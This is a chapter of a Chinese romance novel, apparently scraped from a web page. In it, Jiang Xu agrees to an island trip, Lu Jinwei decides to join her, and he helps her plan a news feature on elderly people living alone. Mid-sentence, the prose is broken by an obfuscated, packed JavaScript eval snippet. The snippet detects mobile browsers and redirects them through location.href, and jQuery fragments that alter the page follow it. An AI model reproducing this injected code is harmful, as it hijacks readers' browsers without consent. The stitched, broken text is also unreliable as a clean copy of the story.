思及陆尽惟刚拒绝,她下意识地朝陆尽惟看了一眼,等他给点反应。
“你自己决定。”他说。
电话那头的沈经纶听到陆尽惟的声音,抱怨起来:“你们俩在一起啊,还浪费我多打一个电话。”
陆尽惟:“想邀请人去玩,打个电话的诚意都没有?”
沈经纶笑说必须有诚意,一遍遍磨:“姜姜,去不去?咱别管阿惟,让他到时候后悔去。”
颇为傲娇的语气逗得姜栩忍不住一笑,看到陆尽惟没什么表情,她也就收住了,“那我先看看到时候的假期,可以的话就去。”
“假期好说,实在不行我让人帮你请。”
姜栩不知道他的让人帮忙请假是什么意思,但她觉得估计知会上头,然后随便找个由头给她放假。
她笑了下,说自己请假,不要他帮忙。
挂断电话,姜栩眼神飘向陆尽惟,“沈经纶一直都这样吗?”
“哪样?”
“热情得像搞传销的。”
陆尽惟嘴角动了一下:“差不多。”
“他这么热情,那你真不去?听他说的,感觉很不错。”
陆尽惟挪开眼睛,盯着电脑屏幕上的方案:“再说。”
跟沈经纶把话说死了,对姜栩倒是留了些余地。
他重新专注在电脑屏幕上,侧脸线条分明,表情寡淡。
姜栩暗自腹诽,刚刚拒绝得义正词严,指不定后面就打脸,这“再说”就是预留的退路。
“沈经纶说得天花乱坠,”她喝了口水,状似无意地开口,“那海岛,真像他说的那么好?”
陆尽惟手指在触控板上滑动,眼皮都没抬:“他搞成的东西,吹嘘的成分肯定有。不过,”他停顿了一下,似乎在回忆,“之前他一直在规划,砸了不少钱进去,现在建设下来不会差。该有的设施绝不会少,荒岛谈不上,好玩有趣是他对海岛的基本要求,风景……海岛那边一直都不差。”
这算是他给出的相当客观的评价了。
“所以,是个安全靠谱的海岛吧?”
“理论现实上是。”陆尽惟收回目光,“但跟他一起,安全能保证,身心放松不一定。”
这评价精准又毒舌。
姜栩轻笑出声,刚才那点犹豫烟消云散。安全有保障,风景不错,还能带上朋友……沈经纶的热情邀约,叠加陆尽惟隐含的质量认证,吸引力陡然翻倍。
她“哦”了一声,指尖绕着玻璃杯沿打转,“听起来你还挺了解的?”
这次,陆尽惟从屏幕上移开目光,眼神平静地看向她:“他不是说了么,我有参与。海岛的资料给我塞了一份,美其名曰参考意见。”
“那你给了什么意见?”姜栩好奇。
“就一些海岛基本的安全问题。在海岛附近的离岸流风险区域和生态脆弱区提了个醒,岛上酒店的动线设计稍微改了改。”陆尽惟语气平静,似乎立马就要切换成工作模式,“剩下的,也没什么大问题。”
所以,沈经纶那副“快来享受完美天堂”的推销辞背后,还真有陆尽惟的参与。
她点了点头,“那我去体验体验。”
说完,拿起手机,指尖在屏幕上悬停片刻,点开了沈经纶的对话框:【去海岛的时间能不能说说。我带两个朋友,方便吗?】
沈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590415|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经纶几乎秒回:【方便!太方便了!时间我马上发你!姜姜你就是我亲妹妹![欢呼雀跃.gif]】
她在百度上搜索出海岛位置,几乎没有任何宣传,她翻阅着搜索引擎的相关词条,忽然感觉一道视线落在自己身上。
抬头,陆尽惟不知何时看了过来,目光落在她亮着的手机屏幕上,又移到她脸上。
“定了?”
“嗯,”姜栩晃了晃手机,“下个月十号出发,我问问绵绵和久源。”
陆尽惟微微颔首,没再说话,重新看向电脑,滑动着触控板。
姜栩低头继续和沈经纶聊着什么,而他对着屏幕上那份方案看了半晌,始终没翻页。
最终,视线再次落到姜栩身上。
“下个月十号……公司新项目的关键期差不多结束,应该能赶上去海岛。”
姜栩愣了下:“所以你打算去?”
陆尽惟没有直接回答,端起水杯喝了一口,反问:“怎么感觉你不乐意我去?”
“你不是说了不去么,去了不就是打脸。”
他放下水杯,语气淡淡的:“沈经纶邀请的不去,但如果你去……”顿了下,“我可以陪你去。”
姜栩:“……”
“为了给自己找个理由,也是辛苦你了。”
陆尽惟难得没有反驳,看着她窝在沙发上上的慵懒姿势,也被感染般地后靠着沙发。
客厅里,两人就这么安静地待了好一会儿。陆尽惟再次出声:“爷爷说,最近我们就可以搬到翠显山的婚房去住了。”
“这么快吗?”她感觉自己才把这里熟悉,就要搬走了。关键还是,以后就真只有她跟陆尽惟两个人住了。
“考虑到你培训比较辛苦,翠显山那边通勤比这里方便。”陆尽惟解释。
不知觉间,他们已经在老宅住了快两个月。
翠显山比老宅地理条件更好,夫妻二人迟早要搬过去的,综合考虑,陆潜义决定放两人早点搬过去。
姜栩听完这个消息,说不出是开心还是不舍。
“有什么问题?”见她欲言又止,陆尽惟问。
“那整个老宅不是只有爷爷一个人在……他会不会觉得孤单?”
有时候,她能真切地感受到,陆潜义因为两人的到来而开怀,她也总想起以前爷爷在世的时候,也是一个人守着一座宅子,除开和老友的时间,他也总是一个人孤孤单单地,等着父亲和她回家看望。
陆尽惟转头看她,一张白净的脸上,杏眼漂亮水灵,透着几分不易察觉的伤感。
目光落在她脸上停了一瞬,他伸手,轻轻拂开她额前的一缕碎发,顺便在柔软的黑发上揉了揉,动作很快,像是没经过思考。
姜栩一怔。
陆尽为已经把手收了回去,视线移到茶几上,仿佛刚才什么都没发生。
“他不会孤单,我们经常回来陪他就行。”又顿了顿,“况且,你也看到了,他不是找人下棋就是出门参展吃饭的,根本没空孤单。现在被留在家里的,是我们。”
“……好像是这样的。”
姜栩脑子里还想着老爷子让他们搬走的事,想起了近来培训布置的选题策划案,是关于社区老人的调查报告,具体数据她还没来得及细看,此时有了灵光闪现的感觉,她忍不住坐直了身子,眼睛一亮。
陆尽惟侧目,怪异地看着她。
姜栩喜由心生,脸上笑开了:“我刚刚想到该做什么新闻选题了!这灵感来得太是时候了。”
培训考核有专门的策划选题,设计考核评分和最终的成绩,所以姜吟在这个策划案上想了许久,迟迟没有一点方向,此时像是天光乍现。
陆尽惟顿了下,猜到是新闻部的事,毕竟她跟周君绵聊天的时候苦恼了不止两次,“想到了什么选题?”
她犹豫了一下,迅速扫了一眼陆尽惟,顶尖学府尖子生,商业精英,应该对这种新闻选题也会有些独到的见解,跟他说说也无妨。
她把刚刚想到的选题大概讲了一遍:“因为新闻策划案就是关于社区老人。那我可以围绕独居老人的''隐形孤独''展开。”
看到陆尽惟耐心等下文的表情,姜栩兴致更盛:“有三个角度,第一个,就是现在父母总是跟子女报喜不报忧,只能知道是电话里的爸妈很好,因为他们不想让孩子担心,害怕成为负担,可以剖析老人的心理和当下社会状况。”
陆尽惟看着她,面色平静:“有数据支撑吗?”
姜栩迟疑了一下:“我记得好像有调查过的,具体的我再查……”
“社科院去年有份报告,”他缓缓补充,“超过六成的独居老人会在通话时隐瞒身体状况。你回头核实下。”
姜栩看着他:“你怎么会知道这些?”
“之前做相关医疗项目的时候有看过,稍微有点印象。”他语气平淡,没再继续多说。
“其他角度呢?”他又问。
姜栩想了想,鼓着一口气继续往下:“第二个是现在提及的''智慧养老'',但是没有真正做到为老人服务,可以从这个点出发,探讨那些新的科学技术,到底是拉近了服务老人的距离,还是给他们建了一堵高墙……”
陆尽惟没什么反应,示意她继续往下。
“第三个——老,但不孤单。”
话落,陆尽惟看了她一眼。
“一个独居老人,他可能每天去公园下棋,可能在社区活动中心练书法,可能每周跟老朋友约饭遛弯。或许他是一个人,但不一定是孤独的人。通过老人这样的生活,可以探究让独居老人真正实现''老有所乐''的支持系统是什么。”
说完,她看着陆尽惟,等他回应。
陆尽惟赞同地点了点头,“很有想法,选题不会出错,落地实施也站得住脚。”
得到他的夸赞,姜栩眼睛亮了一下:“我这个还可以吧!”
“挺好的。”陆尽惟顿了下,“执行方案还需要进一步细化……采访对象和对标案例有想过吗?”
“采访对象应该不难找。老年人活动中心、社区公园这些地方都能找到。如果走不通,我还可以找爷爷帮忙牵线。”姜栩越说越有信心,眨着晶亮的眼睛,“怎么样?”
陆尽惟微微点了点头:“可行。细化一下就能推进。”
“等会儿我再看看近年的对标案例,优化一下。”
陆尽惟看着她认真琢磨的侧脸,嘴角露出淡淡的笑容:“第三个角度很有意思……老但不孤单这个点容易出彩,不过也难拍。你要找的不是生活能自理的人,而是真正有精神支点的人。”
“对,”姜栩点头,“所以我想先从社区书法班和老年驴友团入手。”
陆尽惟没再追问,靠在沙发背上:“可以落地成方案推进。”
他显然已经把她的想法当成工作在处理,姜栩讪讪笑了笑:“好,我等会儿去整理一下。”想了一下,又小心地看着他,“这个选题方案还有其他问题吗?”
陆尽惟挑眉看她:“你这么信我?我不是新闻部的。”
说来奇怪,陆尽惟提意见时,总让人不自主地对他产生信服感,这样的感觉大概源自于他平常的沉稳与稳健的处事风格。
“感觉你知道得很多,你可是陆总诶!就算你不是专业的,你也有看问题的独特视角。你的意见,也算是另一种改进。”她笑着说,颇有拍马屁的嫌疑。
陆尽惟听她嘴里说个不停,有些聒噪,却不觉得烦。
偶尔夸张的言辞,也很容易把人逗笑,他挑眉看她,“选题成功的话,我有什么好处呢?”
姜栩仔细想了想,视线扫了桌上的泡面碗,拍拍胸脯:“请你吃超级豪华泡面,五星奢华系列。”
“我等着你。”
陆尽惟帮她重新梳理了一番,思路更加清晰,捕捉到了她忽视的几个小点。
姜栩趁热打铁,拿起iPad开始对刚刚的问题进行完善。
陆尽惟没打扰,也开始看起文件。
姜栩埋头在iPad上敲字,越写越投入,把刚才的三个角度完善充实,又补了几个可能的采访方向。
等她终于从文档里抬起头,窗外的光线似乎又暗了几分。
厨房传来细微的水声。
她探头往里看了一眼,陆尽惟正在里面忙碌,清洗她遗留的碗筷。
暖黄的灯光笼罩着他的背影,灰色家居服随着他的动作轻轻摆动。这个画面与她印象里的陆尽惟完全不一样,像一个料理家务十分纯熟的男人,氤氲着浓郁的烟火气,蓦然有几分温暖。
“陆尽惟。”她叫他。
“嗯?”他转头,隔着一段距离,手上还沾着水。
“谢谢。”
陆尽惟只是“嗯”了一声,手上的动作没停。
姜栩没再说什么,抱着iPad窝回沙发上。指尖刚落在屏幕上,又忍不住看了一眼厨房的方向。
陆尽惟从厨房出来时,姜栩还在写着。他在沙发另一边坐下,没有打扰。
客厅里安静下来,只有她指尖敲击屏幕的细碎声响。
大概二十分钟,姜栩伸了个懒腰,长长呼出一口气:“差不多了。”
“发给我看看。”
她抱着iPad愣住。
“我的意见不是‘另一种改进’吗?”
姜栩大大方方地把文档分享给他:“陆总审阅,荣幸之至。”
她起身倒了杯水,刚好瞥了一眼他的手机屏幕,还真在认真地看她写的内容。
顺势在旁边坐下,等着他的意见。
客厅里安静得能听见墙上时钟的走针声,一下一下,不紧不慢。
姜栩靠在沙发上,没一会儿眼皮渐渐发沉,困意翻涌上来,怎么都压不住。
她看了眼陆尽惟,还在认真看,不好打断,只迷迷糊糊地想,眯个五分钟好了。
五分钟后,陆尽惟偏头,看到她的脑袋一点一点地往下栽。
他停了两秒,然后伸出手,轻轻托住她的下巴,把她的头缓缓扶正,靠向沙发靠背。
姜栩含糊地嘟囔了一句什么,转了转脸,顺势往一侧偏,正好偏向他的肩膀,软绵绵地枕住了。
陆尽惟的身体僵了一瞬。
低下头,看到她安静的睡脸,睫毛微翘,偶尔轻颤,呼吸轻而均匀。
他没有动。
极轻地呼出一口气,肩膀慢慢放松下来,让她枕得稳当些。
他迅速给她的内容标记出几处建议和提示,一并发给了她。再垂眸一看,姜栩歪着身子枕在他的肩上,姿势并不舒服。于是放轻动作转身,把人先抚住,然后打了个横抱,往楼上走。
刚走几步,姜栩醒了,眼神迷糊,朦胧里只看到陆尽惟的下颌角。
“……”
“楼上去睡。”
姜栩睡意并未完全苏醒,即使觉得不该被他抱上楼,但身上懒洋洋的,她也不想动,轻轻“嗯”了一声,又闭了眼睛。